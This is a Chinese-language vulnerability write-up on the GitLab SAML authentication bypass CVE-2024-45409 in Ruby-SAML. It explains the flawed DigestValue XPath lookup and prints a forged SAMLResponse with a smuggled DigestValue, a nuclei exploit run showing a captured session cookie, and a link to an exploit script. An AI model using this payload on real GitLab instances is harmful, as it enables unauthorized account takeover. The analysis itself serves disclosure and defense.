GitLab中修复了一个SAML身份验证绕过漏洞(CVE-2024-45409),该漏洞的CVSS评分为10.0。
OmniAuth-SAML和Ruby-SAML库在GitLab中用于处理基于SAML的身份验证,由于这些库/工具无法正确验证SAML响应的签名,导致存在SAML身份验证绕过漏洞(CVE-2024-45409),威胁者可以制作恶意 SAML 响应从而绕过SAML身份验证并获得对GitLab实例的访问权限。
影响范围
GitLab CE/EE 17.3.x < 17.3.3
GitLab CE/EE 17.2.x < 17.2.7
GitLab CE/EE 17.1.x < 17.1.8
GitLab CE/EE 17.0.x < 17.0.8
GitLab CE/EE 16.11.x < 16.11.10
OmniAuth-SAML和Ruby-SAML依赖项:
<= 2.1.0
<= 1.12.2
<= ruby-saml <= 1.16.0
该漏洞允许攻击者绕过 SAML 身份验证机制,并通过利用 SAML 响应处理方式中的缺陷来获得未经授权的访问。
SAML 消息验证
SAML 签名如何工作?
Assertion元素和摘要计算
Signature元素和SignedInfo块
-
指向Assertion的引用 URI -
DigestValue ,表示Assertion块的摘要,计算后存储在该块中
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
摘要和签名如何保证完整性?
签名验证流程
-
摘要验证:SP 计算Assertion的摘要(在删除 Signature 节点之后)并将其与SignedInfo块中存在的DigestValue进行比较。如果摘要不匹配,则表明Assertion已被篡改 -
签名验证:SP 使用 IdP 的公钥来验证SignedInfo块上的签名,如果签名有效,则确认 IdP 签署了该消息并且该消息未被修改
Ruby-SAML 绕过
/samlp:Response
检索<samlp:Response>
根节点,同样, /samlp:Response/saml:Issuer
将从根节点<saml:Issuer>
开始访问<samlp:Response>
<Signature>
元素,则./SignedInfo
将返回<SignedInfo>
节点,该节点是<Signature>
的直接子节点//SignedInfo
将选择<SignedInfo>
的所有实例,无论它们在文档中嵌套的深度如何encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
通过利用此漏洞,攻击者可以将另一个DigestValue偷运到 samlp:extensions 元素内的文档中,该元素旨在保存具有有效命名空间的任何元素。
绕过签名验证
-
我们在 samlp:extensions 元素中插入修改后的Assertion的DigestValue -
XPath 选择器将提取这个走私的DigestValue,而不是来自SignedInfo块的 DigestValue -
由于SignedInfo块本身没有被修改,因此它通过了签名检查,但实际的Assertion内容可能已被篡改
hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
unless digests_match?(hash, digest_value)
return append_error("Digest mismatch", soft)
end
unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
return append_error("Key validation error", soft)
end
在这种情况下:
-
canon_hashed_element指的是没有 Signature 块的 Assertion 块 -
encoded_digest_value是我们在 samlp:extensions 中走私的受控DigestValue -
canon_string指的是 SignedInfo 块
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
legitdigestvalue
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
通过创建nuclei 模板,方便在获得目标用户的SAMLResponse后简化获取会话 cookie 的过程:
$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code -var SAMLResponse='REDACTED'
__ _
____ __ _______/ /__ (_)
/ __ / / / / ___/ / _ / /
/ / / / /_/ / /__/ / __/ /
/_/ /_/__,_/___/_/___/_/ v3.3.4
projectdiscovery.io
[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]
结论
利用脚本:https://github.com/synacktiv/CVE-2024-45409.git
参考:
https://gugesay.com/archives/3452
https://github.com/synacktiv/CVE-2024-45409.git
https://nic.seu.edu.cn/info/1055/2352.htm
原文始发于微信公众号(合规渗透):Gitlab SAML身份认证绕过漏洞 CVE-2024-45409 CVSS评分10.0
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论